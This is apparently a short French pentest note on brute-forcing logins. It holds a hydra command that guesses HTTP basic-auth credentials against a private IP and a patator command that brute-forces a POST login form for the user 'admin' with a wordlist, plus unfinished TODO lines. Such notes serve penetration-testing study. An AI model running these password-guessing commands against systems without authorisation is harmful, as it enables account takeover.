Bruteforce

Auth basic

hydra -L usernames.txt -P passwords.txt -e nsr 'http-get://192.168.195.191/:A=BASIC:F=401'

L’options -e nsr permet de tester les “null passwords”, les “usernames as pass” et les “reversed usernames as pass”.

TODO

TODO

patator http_fuzz url='<URL>' method=POST body="username=admin&password=FILE0" 0=`fzf-wordlists` -x ignore:fgrep='Incorrect password'